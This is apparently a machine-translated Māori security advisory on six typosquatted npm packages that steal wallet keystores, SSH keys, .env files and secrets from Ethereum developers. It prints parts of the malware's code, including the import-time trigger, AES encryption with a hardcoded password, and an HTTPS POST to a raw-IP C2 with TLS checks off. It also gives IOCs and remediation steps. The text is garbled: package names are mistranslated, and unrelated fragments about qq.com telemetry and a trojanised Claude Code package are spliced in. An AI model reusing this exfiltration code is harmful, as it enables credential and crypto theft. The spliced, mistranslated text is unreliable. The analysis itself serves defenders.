TL; DR
I te 6 o Mei, 2026, kotahi te kaiwhakaputa npm, namikazesarada010206, i tukuna e ono ngā mōkihi kino e aro ana ki te pūnaha kaiwhakawhanake Ethereum, Solidity, me DeFi.
Ngā mōkihi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, a web3-utils-core, i whakamahia ngā ingoa whaitake i hangaia kia rite ki ngā whare pukapuka āwhina mō ngā taputapu Web3 rongonui.
I roto i ngā kete e ono, i rite tonu ngā mea katoa telemetry.js kōnae. He rite tonu te rahi o te kōnae puta noa i te tautau, me te SHA-256:
Kāore te pūmanawa kino e mahi i te wā tāutanga. Kāore he preinstall or postinstall matau. Engari, ka whakahohehia ina kawemaihia te mōkihi mā require().
He mea nui taua taipitopito.
Ka tatari te whakaurunga kia whakamahia rawatia te mōkihi e te kaiwhakawhanake. Kātahi ka tirohia mēnā he rite te āhua o te teihana mahi ki tētahi taiao whanaketanga Ethereum/Solidy tūturu. Ka rapua ngā kī Alchemy, Infura rānei, ngā kī tūmataiti, ngā mēnemoni, ngā kī kaiwhakatakoto, he kōpaki Foundry ā-rohe rānei.
Ki te ōrite te kaihautū, ka kohia e te tahae ngā kī tūmataiti SSH, ngā toa kī o te pēke moni Foundry / Geth / Brownie, .env* ngā kōnae, me ngā taurangi taiao tairongo. Ka whakamunatia te paihere ki te AES-256-GCM mā te whakamahi i tētahi kupuhipa kua whakapūmautia, ā, ka tukuna ki tētahi pito IPv4 C2 mata me te whakakorenga o te manatoko TLS.
I whakaū te pūnaha Malware Early Warning (MEW) a Xygeni he kino ngā mōkihi e ono. Kei te tatari te kete pūrongo tango rēhita npm.
Te Rōpū: E Ono Ngā Mōkihi, Kotahi te Kaiwhakaputa
Te pūkete kaiwhakaputa namikazesarada010206 i honoa ki te wāhitau Gmail kāore anō kia manatokohia namikazesarada010206@gmail.com.
I puta te kaupapa hei putanga kotahi-rā i te 6 o Mei, 2026. Ko ngā mōkihi e ono katoa i whakaputahia pēnei 1.0.0, kāore he whakawhirinakitanga wā-oma, ā, e toru noa ngā kōnae i tukuna:
package.json index.js telemetry.jsI whakapuakina anō hoki e rātou te putunga pūtake kotahi:
https://github.com/harunosakura030303-maker/evmchain-configI hopukina ngā mōkihi tuatahi e toru e ngā matawai MEW i te whakaputanga tuatahi. Ko ngā toenga e toru i tohua e te kaha whai muri i te arotake a te kaitātari i te kōtaha npm a te kaiwhakaputa. I te wā i rite tonu ai te paita telemetry.js i whakaūtia puta noa i te rōpū, i katihia rātou he kino nā te ōritetanga.
| mōkī | putanga | npm I whakaputaina | Tikiti MEW | whakawa |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Te kino |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Te kino |
| ngā taputapu matua-pōtae-mārō | 1.0.0 | 2026-05-06 | #51051 | Te kino |
| ngā taputapu-evm | 1.0.0 | 2026-05-06 | #51069 | Kino, nā te rite tonu |
| ngā taputapu-whakarewa | 1.0.0 | 2026-05-06 | #51071 | Kino, nā te rite tonu |
| tukutuku-utils-matua | 1.0.0 | 2026-05-06 | #51070 | Kino, nā te rite tonu |
He māmā noa iho te rautaki whakaingoa engari he whai hua.
Kāore ēnei mōkihi e whakaari ana i ngā ingoa tuturu o runga. Engari, ka whakamahia e rātou ngā kupu tāpiri "whai hua" e tika ana pērā i -core, -utils, a -utils-core. Nā tēnā ka rite rātou ki ngā whare pukapuka hoa e tumanakohia ana e te kaiwhakawhanake kia kitea tata ki ngā taputapu Web3.
| Mōkihi Kino | Whāinga Tika |
|---|---|
| viem-core | viem, he kiritaki Ethereum TypeScript rongonui |
| viem-utils-core | viem |
| ngā taputapu matua-pōtae-mārō | he pōtae pakari, he taiao whakawhanaketanga Solidity matua |
| ngā taputapu-evm | Mokowā ingoa taputapu EVM whānui |
| ngā taputapu-whakarewa | whare hanga, he mekameka taputapu Solidity |
| tukutuku-utils-matua | web3-utils, ngā āwhina Web3.js |
Koinei te tauira "mōkihi tāpiri": ehara i te mea "Ko au te mōkihi tūturu," engari "He rite ahau ki tētahi kaiawhina whaitake i te taha o te mōkihi tūturu."
Mō ngā kaiwhakawhanake DeFi e tere haere ana, he nui tēnā hei waihanga mōrearea.
He aha ngā mea ka puta ina kawemai te kete
He iti te mekameka whakaeke, he āta whakaarohia, ā, e arotahi ana ki ngā taiao whakawhanaketanga moni matihiko.
Kāore he matau tāutanga. Engari, kei roto i ia kete he index.js ka kaweake i te mahi porotiti, kātahi ka utaina te kōwae telemetry kino.
require('./telemetry').init();Ko te tikanga ka whakahohehia te pūmanawa kino i te kawemai tuatahi.
He mea whai hua tēnei mō te kaiwhakaeke. He maha ngā matawai me ngā pouaka onepu e aro ana ki te whanonga wā tāuta. Ka tatari tēnei mōkihi kia whakamahia rā anō e te kaiwhakawhanake, e te tuhinga hanga, e te huinga whakamātautau, e te ara wā-oma rānei.
Keti Whakahohe: Whakakā Anake i ngā Teihana Mahi Kaiwhakawhanake Tukutuku3 Tuturu
Ko te wāhanga tino nui o te whakaurunga ko te keti whakahohenga.
Ka tirohia e te pūmanawa kino ngā taurangi taiao e kitea nuitia ana i ngā mīhini whakawhanake Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean);Ka tirohia hoki mēnā kei te tāutahia a Foundry:
fs.existsSync(path.join(os.homedir(), '.foundry'))Mena kāore tētahi o ngā āhuatanga e pono, ka hoki mai te mahi, ā, kāore he mahi e mahia.
Nā tēnā ka mārie ake te mōkihi i roto i ngā taiao tātari whānui. Tērā pea ka kitea he kawemai āhua kino te āhua o tētahi pouaka onepu kāore he Foundry, he kī Alchemy, he kī Infura, he kī tūmataiti, he maumahara rānei.
I runga i tētahi kaihautū e ōrite ana, ka tatari te pūmanawa kino mō te 60 ki te 90 hēkona i mua i te kohikohinga:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref();Ka whakaitihia e te whakaroa te hononga mārama i waenga i te kawemai me te tangohanga mai i waho. .unref() Ka taea hoki e te karanga te tukanga manaaki te puta noa i te tikanga mena i kawemaihia te mōkihi i roto i tētahi tuhinga poto.
Ehara tēnei i te whanonga haruru pakaru-me-te-hopu. He tahae whainga tēnei i hangaia kia kore ai e rere mēnā kāore e tika ana kia tahaetia te taiao kaiwhakawhanake.
Ngā mea e kohia ana e te tahae
Kia pahemo te kuaha whakahohe, ka kohia e te pūmanawa kino ngā pūtake tino nui ki te whanaketanga Web3: ngā kī tūmataiti, ngā toa kī pēke moni, ngā tohu whakatinanatanga, ngā mea ngaro kapua, ngā tohu npm, me te whirihoranga kaupapa ā-rohe.
| pūtake | He aha te mea i kohia |
|---|---|
| tukanga.env | Tetahi taurangi e ōrite ana ki /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Ngā kōnae kei roto ko te PRIVATE KEY, ko te BEGIN OPENSSH rānei, tae atu ki ngā ihirangi katoa o te kōnae. |
| ~/.hanga/toa kī/* | Ngā kōnae kī o te pēke moni wheketere |
| ~/.ethereum/toa kī/* | Ngā kōnae pupuri kī mō te pēke moni Geth |
| ~/.brownie/pūkete/* | Ngā kōnae pupuri kī mō te pēke moni parauri |
| ${cwd}/.env | Ngā ihirangi katoa o te kōnae |
| ${cwd}/.env.local | Ngā ihirangi katoa o te kōnae |
| ${cwd}/.env.production | Ngā ihirangi katoa o te kōnae |
| ${cwd}/.env.development | Ngā ihirangi katoa o te kōnae |
| ingoa os.host() | Ngā raraunga manaaki |
| crypto.randomUUID() | Tautuhinga patunga/wāhanga |
| Te rā.ināianei() | Tohu wā kohinga |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.comKo ngā tohu ATTA ko:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937Kāore anō kia taea e mātou te whakaū mēnā ko te telemetry he tātaritanga a te kaiwhakahaere, he hongere motuhake rānei kua whiwhi moni. He rite tonu ngā tohu ATTA i roto i ngā tauira e rua i tirohia e mātou.
Rōpū B: heibai
claude.hk OAuth Phishing + ANTHROPIC_BASE_URL Hijack
Ko te tauira o te 1 o Paenga-whāwhā te wāhanga matapōkere ake, tōmua ake o te pakanga.
heibai:2.1.88-claude.hk-4 i whakaputaina e wuguoqiangvip28, he pūkete i hangaia i te 7 o Hune, 2025. I whakahāngaitia e te mōkihi te putanga ki te mea tika 2.1.88 Te tukunga ā-tangata.
Kāore e aro ki te CA-cert MITM. Engari, ka teka ki te kaiwhakamahi mō te pito mutunga OAuth.
Ko ngā tāpiritanga kino i runga ake i te pūtake Claude Code i turuturu ko:
| pūtake | He aha te mea i kohia |
|---|---|
| tukanga.env | Tetahi taurangi e ōrite ana ki /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Ngā kōnae kei roto ko te PRIVATE KEY, ko te BEGIN OPENSSH rānei, tae atu ki ngā ihirangi katoa o te kōnae. |
| ~/.hanga/toa kī/* | Ngā kōnae kī o te pēke moni wheketere |
| ~/.ethereum/toa kī/* | Ngā kōnae pupuri kī mō te pēke moni Geth |
| ~/.brownie/pūkete/* | Ngā kōnae pupuri kī mō te pēke moni parauri |
| ${cwd}/.env | Ngā ihirangi katoa o te kōnae |
| ${cwd}/.env.local | Ngā ihirangi katoa o te kōnae |
| ${cwd}/.env.production | Ngā ihirangi katoa o te kōnae |
| ${cwd}/.env.development | Ngā ihirangi katoa o te kōnae |
| ingoa os.host() | Ngā raraunga manaaki |
| crypto.randomUUID() | Tautuhinga patunga/wāhanga |
| Te rā.ināianei() | Tohu wā kohinga |
He tino motuhake te rārangi whāinga. Ehara tēnei i te tahae pūtirotiro whānui, i te tango tohu whānui rānei. E aro ana ki ngā kaiwhakawhanake e hanga ana, e whakamātautau ana, e whakatinana ana, e whakahaere ana rānei i ngā tono Ethereum.
He mea tino nui te whakaurunga o ngā toa kī o Foundry, Geth, me Brownie. Ka taea e ēnei kōnae te tohu i te urunga tika ki ngā pēke moni, ki ngā tuakiri whakatinanatanga rānei. Mena ka taea e te kaiwhakaeke te hono i a rātou ki ngā kupuhipa, ki ngā maharatanga, ki ngā mea ngaro taiao rānei, ka taea pea e rātou te neke moni, te whakaari i a rātou anō hei kaiwhakatakoto, te whakararu rānei i ngā mahi kirimana atamai.
Whakamunatanga i mua i te Tātaritanga
Ka whakamuna te pūmanawa kino i ngā raraunga kua kohia i mua i te tukunga atu.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);Ko te kupuhipa kua whakapūmautia ko:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1dKa takaihia te utauta whakamutunga hei JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}Kāore te whakamunatanga e whakahōu ake i te pūmanawa kino. Heoi, ka uaua ake te tirotiro whatunga. Ka kite te kaiwawao e mātakitaki ana i te putanga mai i tētahi kawenga JSON, engari kāore i te kite i ngā kī i tahaetia, i ngā kōnae pēke moni, i ngā mea rānei. .env ngā ihirangi kāore i te kupuhipa kua whakapūmautia me te arorau wetemunatanga.
Te tangohanga ki tētahi IPv4 Mata C2
He mea whakapūmau te ara tātaritanga:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {});Ka tukuna e te pūmanawa kino ngā raraunga ki:
https://76.13.37.80:8443/api/v1/telemetryE rua ngā kōrero e tū mai ana.
Tuatahi, he wāhitau IPv4 mata te C2, ehara i te rohe. Ka kore e hiahiatia te rēhitatanga rohe, ā, ka kore hoki e kitea ētahi mea e hangai ana ki te rohe.
Tuarua, ka monoa te manatoko TLS mā te:
rejectUnauthorized: falseMā tēnā ka taea e te pūmanawa kino te whakaae ki tētahi tiwhikete, tae atu ki ngā tiwhikete kua hainatia e ia anō. Arā, ka whiwhi te kaiwhakaeke i te kawe whakamuna me te kore e hiahiatia he tiwhikete tūmatanui whai mana.
Kāore he arorau whakamātau anō, kāore hoki he kaihautū hoki whakamuri. Ka horomia pukutia ngā hapa. Mā tēnei ka noho puku te mōkihi mēnā kei te tuimotu te C2, kāore rānei e taea te toro atu.
He aha te take o tenei kaupapa whakatairanga
Ko te nuinga o ngā mōkihi npm kino e aro ana ki ngā kaiwhakawhanake e whai ana i ngā tohu whānui: ngā tohu npm, ngā kī AWS, ngā tohu GitHub, ngā .npmrc kōnae.
Ka whakawhāitihia e tēnei kaupapa te whāinga.
Ka rapua ngā tohu e whakaatu ana nō tētahi kaiwhakawhanake Ethereum, Solidity rānei te mīhini. Kātahi ka tangohia ngā rawa e tika ana mō taua taiao: ngā toa kī putea, ngā kī tūmataiti, ngā maharatanga, ngā kī kaiwhakatakoto, .env ngā kōnae, me ngā kī SSH.
Nā tēnā ka nui ake te mōrearea o te pakanga mō ngā tīma Web3 i te tahae npm whānui.
Ka taea e te mate angitu te whakaatu:
- Ngā pēke whakatakoto
- Ngā kī whakahaere kirimana atamai
- Ngā kī kaiwhakarato RPC
- Ngā tohu whakatinanatanga kapua
- ngā tohu whakaputa npm
- Te urunga SSH ki te hanganga kaiwhakawhanake, hanganga hanga rānei
- Ngā mea ngaro o te kaupapa e rongoatia ana i roto i
.envkōnae - Ngā toa kī putea mō Foundry, Geth, Brownie rānei
E whakaatu ana hoki ngā ingoa mōkihi i te hangarau pāpori mārama. E aro ana rātou ki te pūnaha kaiwhakawhanake Web3 mā roto i ngā ingoa taputapu mōhiotia: viem, hardhat, foundry, evm, a web3.
Kāore e hiahiatia ana e te kaiwhakaari te whakararu i ngā kaupapa tūturu. Me tāuta noa e te kaiwhakawhanake he mea e ahua rite ana ki tētahi mōkihi hoa whaitake.
Ngā Tohu o te Whakatutukitanga me te Kitenga
| Ngā Mōkihi me te Kaiwhakaputa | |
|---|---|
| Field | uara |
| kaiwhakaputa npm | namikazesarada010206 |
| Īmēra a te kaiwhakaputa | namikazesarada010206@gmail.com |
| kua whakamanahia te imeera | No |
| SCM ka whakamana | No |
| Kaute rongonui | 1.0 |
| Kete | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| Tuhinga | Katoa 1.0.0 |
| Putunga pūtake | https://github.com/harunosakura030303-maker/evmchain-config |
| Kua whakaūtia te kino | Ngā mōkihi e ono katoa |
| whatunga | |
|---|---|
| momo | uara |
| Te pito mutunga C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| Putanga C2 | 8443/tcp |
| Te whanonga TLS | whakakorekoreWhakaaetia: teka |
| Kaupapa kawenga | {"v":2,"iv": "r": "t": } |
| Ngā Kōnae me ngā Hash | |
|---|---|
| momo | uara |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Tahora mōkihi | mōkihi.json, taupū.js, tauwhitiwhiti.js |
| Te maha o ngā kōnae | 3 |
| Rahi katoa tata | 3.4 KB |
Ngā Tohu Whakahohe
Ka tirohia e te pūmanawa kino ēnei taurangi taiao:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEYKa tirohia hoki e ia:
~/.foundry/Ngā Ara Kaihautū Kua Whāia
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.developmentKohinga Regex
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/iNgā Tuhipoka Kimi
He maha ngā ture e mau ana i tēnei kaupapa, kāore e hiahiatia he tātaritanga whanonga katoa.
Tuatahi, matawaihia ngā kōnae raka mō ngā ingoa mōkihi kino e ono:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-coreTetahi whakataetae i roto i package-lock.json, yarn.lock, pnpm-lock.yaml, ranei node_modules me whakaaro te hītori he mea nui rawa atu.
Tuarua, aroturukihia ngā tukanga Node.js e pānui ana i ngā ara o te pēke matua:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/He onge te whanonga tika o tēnei mō tētahi mōkihi i kawemai hei whakawhirinakitanga āwhina. He tino whakapae tēnei ina whaihia mai he mahi whatunga ki waho.
Tuatoru, āraia, whakatūpato rānei i ngā hononga HTTPS ki:
76.13.37.80:8443Ina koa ko te ara tono:
/api/v1/telemetryTuawhā, rapua ngā mōkihi npm e whakakotahi ana i ēnei āhuatanga:
- Kaiwhakaputa hou, iti rānei te ingoa
- Pūkete Gmail kāore anō kia manatokohia
- Ingoa mōkihi e tata ana ki a Web3
- Kāore he hītori putunga whai tikanga
- Te tahora mōkihi iti
index.jse uta ana i tētahi kōnae telemetry, kōnae āwhina rānei- Kāore he whakawhirinakitanga wā-oma
- Kohinga taurangi taiao tairongo
- Urunga ki te toa kī putea
He pai ake tēnei tauira i te IOC kotahi nā te mea ka huri pea te wāhitau IP o te mōkihi e whai ake nei engari ka mau tonu te arorau whāinga ōrite.
Rārangi Arowhai Whakautu Whakaae
Mena i whakamahia e te kaiwhakawhanake tētahi o ngā mōkihi e ono, ā, i ōrite te taiao ki te kēti whakahohenga, me kī he mea kua takahia te teihana mahi.
Kei roto i tēnei ko ngā mīhini kua tāutahia a Foundry, ngā kī Alchemy, Infura rānei i roto i te taiao, ngā kī tūmataiti, ngā maumaharatanga, ngā kī kaiwhakatakoto rānei.
Te whakautu i tūtohutia:
- Momotuhia te kaihautū mai i te whatunga.
- Kia ora
node_modules, ngā kōnae maukati, te hītori anga, me ngā rangitaki e tika ana mō ngā mahi taihara. - Hurihia ia takirua kī SSH ki raro
~/.ssh/. - Hurihia ngā kī pēke moni mō ia toa kī i raro iho
~/.foundry,~/.ethereum, a~/.brownie. - Nukuhia ngā moni ki ngā pēke moni hou.
- Hurihia ngā mea ngaro katoa e rongoatia ana i roto
.env*ngā kōnae i roto i ngā putunga i mahi ai te kaiwhakawhanake. - Hurihia ngā mea ngaro o te taiao e ōrite ana ki te regex kohinga, tae atu ki ngā kī AWS, ngā tohu npm, ngā tohu whakatakoto, ngā kī API, ngā kī tūmataiti, ngā purapura, me ngā maharatanga.
- Te kapua arotake, te npm, te GitHub, te kaiwhakarato RPC, me ngā mahi poraka mekameka mai i te wā i tāuta tuatahitia ai te mōkihi.
- Tāruatia anō te āhua o te teihana mahi i mua i te whakamahinga anō.
Ngā mea me tango e ngā kaiwawao
E whakaatu ana tēnei kaupapa i te whanaketanga o te npm typosquatting huri noa i ngā pūnaha kaiwhakawhanake uara nui.
Kāore i hiahiatia e te kaiwhakaari te manawanui. Kāore i hiahiatia e rātou te whakapoauau. Kāore hoki i hiahiatia te whakahaere i te wā tāutanga.
Engari, e toru ngā mea i whakawhirinaki rātou ki:
- Ngā ingoa mōkihi Web3 e tika ana
- Whakahohenga anake i runga i ngā mīhini whakawhanake-crypto tūturu
- Te tahae tika o ngā kōnae me ngā mea ngaro e tino hira ana ki ngā kaiwhakawhanake Ethereum
Nā tēnā ka māmā te ngaro i te pakanga i te matawai whānui, ā, ka mōrearea hoki ina tau ki te taiao tika.
Mō ngā tīma Web3, he mārama te akoranga: whakaarohia ngā ingoa whakawhirinakitanga hei wāhanga o tō tauira mōrearea. Ko te mōkihi e āhua ana he āwhina kore kino ka taea tonu te noho hei ara poto ki te takahi i te pēke moni.
Kua tukuna he pūrongo ki te rēhita npm. Ka whakahoutia e mātou tēnei pou ina tangohia te pūkete kaiwhakaputa me ngā mōkihi.
